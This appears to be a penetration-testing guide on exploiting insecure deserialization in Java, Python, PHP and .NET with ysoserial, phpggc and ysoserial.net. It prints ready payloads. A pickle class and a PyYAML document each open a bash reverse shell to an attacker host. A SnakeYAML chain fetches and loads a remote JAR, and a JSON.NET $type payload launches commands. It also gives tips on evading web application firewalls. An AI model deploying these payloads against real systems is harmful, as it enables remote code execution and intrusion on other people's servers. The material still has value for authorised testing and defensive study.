Insecure Deserialization
Insecure deserialization turns user-controlled serialized data into code execution. When an application deserializes untrusted input without validation, an attacker provides a crafted object that triggers dangerous operations during reconstruction. The impact ranges from arbitrary file reads to full remote code execution depending on the language, framework, and available classes (gadget chains) on the classpath or import path.
Deserialization bugs appear in any endpoint that accepts serialized objects: cookies, hidden form fields, API parameters, message queues, and file uploads. The serialization format varies by language: Java uses binary streams, Python uses pickle, PHP uses serialize(), and some frameworks accept YAML with object instantiation. PHP deserialization chains are also the core technique behind exploits like Laravel Ignition RCE.
This page covers deserialization exploitation per language and tooling:
- Java deserialization with ysoserial gadget chains (Commons Collections, Hibernate, Spring)
- Python pickle and YAML deserialization via
__reduce__and unsafe loaders - PHP deserialization with phpggc for Laravel, Symfony, WordPress, and Monolog chains
- Troubleshooting failed chains, version mismatches, and WAF bypasses
Java Deserialization with ysoserial
Java serialized objects start with the magic bytes AC ED 00 05 (hex) or rO0AB (base64). If you spot either in a cookie, POST body, or request parameter, the endpoint deserializes Java objects. The attack uses gadget chains: sequences of existing classes on the application's classpath that chain together to reach Runtime.exec() or equivalent. ysoserial generates payloads for known gadget chains. The correct chain depends on which libraries the target application ships. Commons Collections versions 3.1-3.2.1 and 4.0 are the most common targets.
Explain command
| CommonsCollections1 | Gadget chain targeting Apache Commons Collections 3.1-3.2.1. |
Send the payload to the vulnerable endpoint. Base64 encode if the transport expects text:
Start a tcpdump listener before sending to confirm execution via the ping callback:
16:42:01.234 IP 10.10.10.5 > 10.10.14.2: ICMP echo request, id 1234, seq 1, length 64
If ping confirms execution, escalate to a reverse shell. Bash special characters break inside Java's Runtime.exec() because it does not invoke a shell. Wrap the command in bash -c and base64-encode the inner payload:
If CommonsCollections1 does not trigger, iterate through other chains. CommonsCollections5, CommonsCollections6, and CommonsCollections7 target different CC versions. CommonsBeanutils1 works when BeanUtils is on the classpath. Hibernate1 targets Hibernate ORM. Spring1 targets Spring Framework. Try each until one succeeds or errors change to indicate deserialization is happening but the chain is wrong.
Identifying the Gadget Chain
Error messages often reveal which libraries are loaded. A ClassNotFoundException for org.apache.commons.collections.Transformer means Commons Collections is not on the classpath, move to the next chain. A java.io.InvalidClassException with a serialVersionUID mismatch means the chain targets a different library version. Match the version from the error to the correct ysoserial chain. Running all chains blindly works but generates noise. Prefer targeted selection when error output is available.
Python Pickle Deserialization
Python's pickle module executes arbitrary code during deserialization by design. Any endpoint that calls pickle.loads() on user input is exploitable. Pickle payloads appear as binary data or base64-encoded strings. The __reduce__ method on a class controls what gets called during unpickling. Build a class that returns os.system with your command:
import pickle
import base64
import os
class Exploit(object):
def __reduce__(self):
return (os.system, ('bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload)
Pickle deserialization also appears in Flask session cookies when the application uses a weak or known SECRET_KEY. Flask signs cookies with HMAC but does not encrypt them. Decode the cookie, forge a new one with a pickle payload, and sign it with the leaked key. The flask-unsign tool automates this workflow.
Python YAML Deserialization
PyYAML's yaml.load() without a safe loader instantiates arbitrary Python objects. The !!python/object/apply tag calls any callable with arguments. This affects applications using yaml.load(input) or yaml.load(input, Loader=yaml.Loader). Safe loaders (yaml.safe_load, yaml.SafeLoader) block object instantiation entirely.
!!python/object/apply:os.system
- "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
For Java applications using SnakeYAML, the same pattern applies. SnakeYAML's default constructor allows arbitrary class instantiation through the !!javax.script.ScriptEngineManager tag. Host a malicious service provider on your attacker machine and reference it via URL:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://$LHOST:$LPORT/"]
]]
]
The target fetches the remote JAR and loads it as a ScriptEngine provider. The JAR's META-INF/services/javax.script.ScriptEngineFactory file points to a class whose static initializer or constructor runs your payload. The yaml-payload repository provides a ready-made template: clone it, edit the command in the Java source, compile, and host.
PHP Deserialization with phpggc
PHP's unserialize() reconstructs objects from serialized strings. Magic methods (__wakeup, __destruct, __toString) execute automatically during or after deserialization. If any class on the autoload path has a dangerous magic method chain, it leads to file writes, SSRF, or RCE. phpggc generates payloads for known framework gadget chains.
NAME VERSION TYPE VECTOR Laravel/RCE1 5.4.27 RCE __destruct Laravel/RCE5 5.8.30 RCE __destruct Laravel/RCE10 8.16.1 RCE __destruct Symfony/RCE4 3.4 RCE __destruct WordPress/RCE1 4.7.0 RCE __destruct Monolog/RCE1 1.18-2.x RCE __destruct
Explain command
| -l | List all available gadget chains with target framework and version. |
Generate a payload for the target framework. Identify the framework from headers, error pages, or directory structure. Laravel exposes its version in debug mode. Symfony shows its version in the profiler toolbar.
Tzo0NzoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7...
Explain command
| -b | Base64-encode the output for transport in cookies or POST parameters. |
For reverse shell payloads, use a shell one-liner as the command argument:
PHP serialized strings start with a type indicator: O: for objects, a: for arrays, s: for strings. If you see O:4:"User":2:{ in a cookie or parameter, the application deserializes PHP objects. URL-decode and inspect the full string to identify the class names in use, which helps narrow down the correct phpggc chain.
.NET Deserialization with ysoserial.net
.NET applications deserialize objects through BinaryFormatter, SoapFormatter, ObjectStateFormatter (ViewState), and JSON.NET. The attack surface includes ViewState parameters, SOAP endpoints, remoting channels, and any JSON API using TypeNameHandling. ysoserial.net generates payloads for known .NET gadget chains targeting common framework classes.
ViewState Deserialization
ASP.NET ViewState is a serialized object stored in a hidden form field (__VIEWSTATE). When MAC validation is disabled or the machineKey is known, an attacker can inject a crafted ViewState that executes code during deserialization. Older ASP.NET versions (before 4.5.2) sometimes ship with MAC validation disabled. Identify this from the web.config setting enableViewStateMac="false" or by observing that modified ViewState values are accepted without error.
With a known machineKey (from config disclosure, backup files, or default keys in older frameworks):
The --path and --apppath must match the target page. Extract both keys from the machineKey section in web.config. If ViewState MAC is disabled entirely, the keys are not needed and the payload is simpler:
Send the output as the __VIEWSTATE parameter in a POST request to the target page. Start a tcpdump listener before sending to confirm execution via the ping callback.
BinaryFormatter and ObjectDataProvider
BinaryFormatter is the most dangerous .NET deserializer. It reconstructs arbitrary types including those that execute code in constructors or property setters. Any endpoint that passes user input to BinaryFormatter.Deserialize() is exploitable. The ObjectDataProvider gadget invokes arbitrary methods during deserialization:
Explain command
| -g TypeConfuseDelegate | Gadget chain using TypeConfuseDelegate for command execution. |
| -f BinaryFormatter | Output format matching the target deserializer. |
Other useful gadget chains in ysoserial.net: WindowsIdentity (targets System.Security), ActivitySurrogateSelector (works on .NET Framework 4.x when Code Access Security is not enforced), PSObject (targets PowerShell runtime classes). Try TypeConfuseDelegate first as it has the widest compatibility across .NET Framework versions.
For a reverse shell, generate a base64-encoded PowerShell payload:
JSON.NET TypeNameHandling
Newtonsoft JSON.NET with TypeNameHandling set to All, Auto, or Objects deserializes types specified in a $type field. An attacker injects a JSON object with $type pointing to a dangerous class. The ObjectDataProvider gadget chain calls arbitrary methods:
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib",
"$values": ["cmd", "/c ping $LHOST"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}
Send this JSON to any API endpoint that deserializes with TypeNameHandling enabled. Detect this setting by sending a $type field with an invalid class name: if the server returns a JsonSerializationException mentioning the type, TypeNameHandling is active. If the server silently ignores $type, the setting is None and this vector is not exploitable.
Detecting .NET Deserialization Targets
ViewState: look for a __VIEWSTATE hidden field in HTML forms. The value starts with /wEP (base64 for the ObjectStateFormatter magic bytes). SOAP endpoints: .asmx and .svc extensions accept serialized objects. Remoting: .rem and .soap extensions. JSON APIs: test for TypeNameHandling by adding "$type": "System.String" to a JSON request and observing whether the response changes.
When Deserialization Fails
Deserialization payloads fail for several common reasons. Whitelisted classes block unknown types during reconstruction. Java's ObjectInputFilter (JEP 290, Java 9+) restricts which classes can be deserialized. PHP 8.0+ changed some magic method behavior. Version mismatches between the gadget chain and the installed library version cause InvalidClassException or silent failures.
If the correct library is present but the chain fails, try an older or newer version of the same chain. ysoserial and phpggc both have multiple chains per library. Check the target's dependency versions through error messages, /WEB-INF/lib/ directory listings, or composer.lock / pom.xml files if accessible.
WAFs may block known payload signatures. Base64 encoding, gzip compression, or switching between binary and string representations can bypass shallow signature checks. For Java, some WAFs only check for the AC ED magic bytes at the start, encoding the entire stream in base64 bypasses those checks.
References
-
Java deserialization exploit tool with gadget chains for common libraries.
-
PHP generic gadget chain generator for known frameworks.
-
SnakeYAML RCE payload template with ScriptEngineManager chain.
-
.NET deserialization exploit tool with gadget chains for BinaryFormatter, ViewState, JSON.NET, and SoapFormatter.